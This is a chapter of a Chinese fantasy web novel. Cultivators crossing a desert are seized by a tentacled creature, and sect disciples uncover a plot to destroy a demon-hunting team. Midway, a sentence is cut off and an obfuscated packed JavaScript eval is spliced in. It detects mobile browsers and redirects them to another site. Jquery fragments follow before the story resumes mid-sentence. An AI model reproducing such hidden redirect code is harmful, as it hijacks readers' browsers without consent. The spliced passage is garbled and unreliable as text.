逍遥老儿的本意是让冬青只身前去,可冬青此刻站在苍茫大漠,看着前方兴致勃勃的三人,无声叹了口气。
“冬青,快跟上!”柳又青回头朝她招了招手。
贺兰烬与柳又青这对狐朋狗友不仅偷听她与大师兄谈话,甚至还偷听她与师父谈话,回来便撺掇大师兄,三人一拍板,大清早就在山脚下等着她了。
“来了。”冬青快步跟上。
清晨露重,饶是大漠也比白日湿润几分。几人深一脚浅一脚地走在松软的沙子上,没走多久就双腿发沉。
逍遥老儿仅给了几人一个大致方向和一张舆图,冬青边走边打开卷轴,薄薄的纸上甩着零星几滴墨迹,冬青在初生的日头下看了许久,才依稀辨别出右上角的墨滴是太阳,底部中间的墨滴是来时的黑砾山,那中间的墨滴应当就是“海市蜃楼”。
这手迹未免太潇洒了。
冬日阳光抵挡不住朔风的侵袭,乱流无孔不入地从衣袖缝隙钻入,冻得几人不约而同打了个哆嗦。
冬青走到前面,风自动避开几人,沙砾从气流罩表面掠过,远看上去就像一个小土丘。
她手指在前方虚虚一点,遮蔽视线的沙砾便尽数褪去,视野骤然清明起来。
“咱们方向对吗?”柳又青以手搭棚,眺望无边沙海。
“照舆图看,应当不错。”贺兰烬摇着扇子,只不过风没扇在自己身上,全扇在了另外三人身上。
冬青连打了好几个哆嗦,忍无可忍地夺过他手中玉折扇,对着他猛摇好几下,“你热?”
贺兰烬倒任由她扇着,眉目舒展地看着她,倒像她吹来的是暖风而非冷风一般。
“冬青,你试试看能否感应到,听师父的意思,御物之术应当是能感知一二的。”沈秋溪手持一罗盘,上面的指针不断旋转,他有些头疼地收进乾坤币。
“我试试。”冬青默默感应着四周。与沈秋溪她们感知到的无边贫瘠不同,她放出真气,这片荒漠中流淌着一种异常隐晦、却又磅礴浩瀚的灵。
这种灵并非浓郁外显,而是深深内蕴,如同沉睡的巨龙,蛰伏于沙海之下,弥漫在虚空之中。
她尝试调动御物心法去捕捉、跟随这些内蕴的灵,却觉晦涩艰难,如同赤手空拳想去捞起水中的月光,感觉触手可及,实则虚不受力。
“方向应当没错。”冬青收回真气,“再走走看。”
“咱们几个莫不是傻了,为何非要走啊?”贺兰烬拦住她,他从乾坤币里拿出个巴掌大的纸雕船。
他注入真气,纸雕船慢慢变大,变成一叶扁舟的大小,悬浮在沙海上。
“上来。”贺兰烬撑着船沿,一个漂亮的翻身上船,扒在船沿上对下方的冬青伸出手。
冬青瞥了他一眼,足尖轻点,悄无声息地跃上纸船。
待四人都稳稳当当坐在船上,贺兰烬折扇一挥,小船两侧的纸桨便划动起开,如在风平浪静的江面,平稳地向前方行驶而去。
风从船尖两侧流过,纸船哗哗抖动,柳又青往里坐了坐,生怕这纸船被风撕裂让她掉下去。
“啧,这么不相信我的手艺?”贺兰烬皱眉睨她一眼,“本少主出品,必属精品,外面千金难求的知道吗?”
“啊啊啊知道了。”柳又青敷衍地猛点头。
纸船又如无地之矢地向前划了一段距离,正午日头正盛,晒得人头晕。
“火尽,你怎么不给这船弄个篷啊!”柳又青用肘怼了他一下。
“要什么没有?”贺兰烬神秘一笑,刚把手伸向乾坤币,纸船底部突然被什么东西猛撞,剧烈抖动了一下,“什么东西!?”
几人即刻戒备起来,沈秋溪踏着船沿向下看去,“什么都没有。”
就当他缩回脑袋时,船底再度剧烈震颤起来。
啪——
忽然有一条湿软的五彩触手搭在船头,吸盘收紧,纸船骤然停住,船尾向上撅起,两只桨无力空划。
几人因为惯性猛地向前一栽,冬青眼疾手快地把住船沿,贺兰烬坐在中间,周围没有能扶的物什,顺着倾斜的船板向下滑去,“咚”一声撞在船头。
触手黏腻的液体蹭了他一身,四周纸船沿纸船板被浸湿,肉眼可见的塌软下去。
“艹!这什么东西,我也没吃菌子啊!”贺兰烬没忍住骂了一声,他“噌”地站起,却又因为脚下湿滑再度摔倒,他下意识用手撑地,可不料两只手臂直接洞穿了湿软等船底板,整个人将底板破了个窟窿掉了下去。
冬青立刻操纵下方的沙子织成一张网兜住了下坠的贺兰烬。
“火尽,这就是你说的精品?”柳又青扒着船沿笑话他。
“谁知道沙漠还有水啊!”贺兰烬骂骂咧咧地在网兜上站起身,迫不及待地掐了个净身诀,将满身的黏液洗掉。
“贺兰烬——!”冬青急切的声音从上方传来。
“嗯?”贺兰烬正整理着散乱的衣襟,刚抬头看去,右脚腕处便突然传来一道巨力将他向下拽去!
冬青的不罔剑和沈秋溪的符箓同时甩出,贺兰烬也拿出钩索向上甩去,可终究是慢了一步,几乎是眨眼,那条触手便将贺兰烬拖入下方流沙漩涡。
“贺兰烬——!”
与此同时,七八条彩色触手骤然拔地而起,攀附住纸船,上下猛然摇动起来。
剩下的三人被颠得晕三倒四,从纸船上抖落下来。
“大师兄,任它拽,我在这东西身上感受到了灵!”冬青在混乱中扬声道。
沈秋溪听见这话,迟疑一瞬,两指掐灭了刚点燃的符箓。
“这玩意儿是海市蜃楼啊?”柳又青腰间缠住一条触手,给她恶心坏了。
“大概,可能。”冬青话音未落,触手便将纸船化为齑粉,卷住三人向下拽去,消失在流沙漩涡中央。
大漠重归寂静,好像什么都没发生过。
西蛮荒嘉阳村。
建立在贫瘠水源附近的村庄满是战后的残垣断壁,血腥气干涸在土地中,将这片土地染成暗红色。
梅景站在废墟高处,指挥万法阁的弟子收拾残骸。
“诶!那边那个,偷什么懒!”他手中流苏金叶飞出,扎在那形迹可疑的弟子脚下。
那人愣了一下,随后揪住衣襟上的宗门徽记朝着高处的梅景恶狠狠道:“睁大你的眼睛看看,小爷我是望月谷的!差使你们万法阁的人去!”
梅景好整以暇地抱臂看向他,流苏金叶从地上旋转着飞回他手中。
下一刻,一个紫色身影出现在下方那人身后,一脚踹在他屁股上,“关二傻,你又偷懒!”
关至“哎呦”一声捂着屁股跳开,回头一看来人,立马换了一副谄媚的嘴脸,“这不是崔师姐嘛,有何指示,小的鞠躬尽瘁,死而后已。”
梅景嗤道:“出息。”
关至可没空搭理梅景,他这些日为了帮冬青监视崔香雪,硬是混成了她身边的头号小弟,指哪打哪,绝无怨言。
他恨不得一天十二个时辰把眼睛黏在崔香雪身上,宗门里竟然还有人传他爱慕崔师姐,开玩笑,怎么可能,他早晚是要取代崔香雪成为望月谷一把手的人!
只不过近一段时间崔香雪安分地诡异,愣是没让关至找出一丝错处,冬青还不准他说废话,导致他无话可禀报,得到的御物心法还是寥寥几行而已。
“去村西帮忙,受伤的村民太多了。”崔香雪指挥道。
“得嘞。”关至摇着尾巴跑走了。
梅景挑眉回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650543|183774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身,只见身后不知何时站了个人,无声无息的,吓了他一跳。
“池南?”他惊讶道,“什么风把你吹来了?”
“听说嘉阳村有妖袭,我来看看。”池南站到废墟边缘向下看去,三道巨大的沟壑横亘土地,似乎是什么利爪生生将房屋劈开,细看去沟壑里还填着桌椅残肢和布料碎屑。“可知什么妖?”
梅景站到他身边,“大多是漠天鹰族,几只穿山甲妖,少数水妖,总数不多,按理说这么大的村子不应该这么大动静。”
池南:“你们来的时候什么情形?”
“我们来时已晚,大部分妖都已撤走,只剩几只漠天鹰族。”
“你们这么多人,没分出去一部分追妖?”
“分了啊,不过嘉阳村伤势惨重,大部分术士留下来帮忙了,追妖的人很少。以防妖族设伏,还叫了你们折云宗的捕妖队来支援。”梅景忽然想到什么,语气轻松,“捕妖队是明光带队吧,如何,抓到了吗?”
池南眉头紧促,冷风吹动他高束的墨发,其间两根细细的红色抹额系带若隐若现。他看着下方万法阁的弟子用法术一点点修缮村庄,问道:“折云宗远在北诏,远不及望月谷和万法阁距离近,为何要请折云宗支援?”
“大抵是你们折云宗的捕妖队声名远扬吧,当时在……对,弥甸峡谷,妖族最后的踪迹也消失了,有人便提议联系你们的捕妖队。”
当时几名万法阁与望月谷的弟子追着两只漠天鹰至弥甸峡谷,狭长高耸的石壁遮蔽天日,天际变成头顶遥不可及的一道狭缝。
漠天鹰在弥甸峡谷中根本张不开翅膀,定会铁了心飞上峡谷,若放任他们回到熟悉的广阔天空,只怕行集会更加难以捉摸。
梅景连忙画了道符,试图封锁峡谷,将两只漠天鹰困在狭缝中,可还是晚了一步,让他们跑掉了。
“大师兄,这里地形复杂,保不准会有妖群在前方埋伏。”谷底昏暗中,忽然有人出声,“我们人数寥寥,势单力薄,贸然前去怕是不妥。”
“那你待如何?”梅景正懊恼自己符画得慢了一步,瞥了一眼说话的弟子,颇没好气地问。
“不若联系折云宗的捕妖队,他们常年在外捉妖,应对此等情况定然是得心应手。”那声音继续道,“我们在这里干等下去也不是办法,不若先回去,稍后把情况同步给他们就是。”
梅景抬头看向那横贯视野的光线,半晌同意了,“既如此,你便联系他们吧。”
他想到这,问前方沉默不语等池南,“可有什么不妥?”
梅景看向池南,眼前忽而一抹寒气凛然的流光闪过,剑气悍然劈开一根横梁,差点被砸到的小弟子后怕地望过来,遥遥俯身行礼以示感谢。
与池南一向正气浩荡的剑意不同,方才那道剑气森然,让人望生惧意。
“你方才说,你们是在弥甸峡谷寻求的支援?”
“是啊,怎么……”
池南倏而回头看向他,“那为何明光收到的地点是在万川漠?”
据庄锦文说,当时沧溟院长来找燕明光,称西蛮荒有妖族异动,侵袭嘉阳村后逃至万川漠,万法阁与望月谷人手不及,需要支援。
燕明光已带队肃清过许多暴乱的妖族,闻言一点疑心也无,即刻清点捕妖队人手,开了传送门便直奔万川漠而去。
万川漠是漠天鹰族的领地,捕妖队来到万川漠时,正逢他们的族长带领一支精锐正要外出,两方一碰面便已是剑拔弩张,敌意浓浓,几乎二话没有便打了起来。折云宗的捕妖队伤势惨重,但那一群漠天鹰族也并未在他们手里讨到任何好处。
梅景心思电转,悚然明白了池南的言外之意。
有人要借他们的手,除掉折云宗的捕妖队!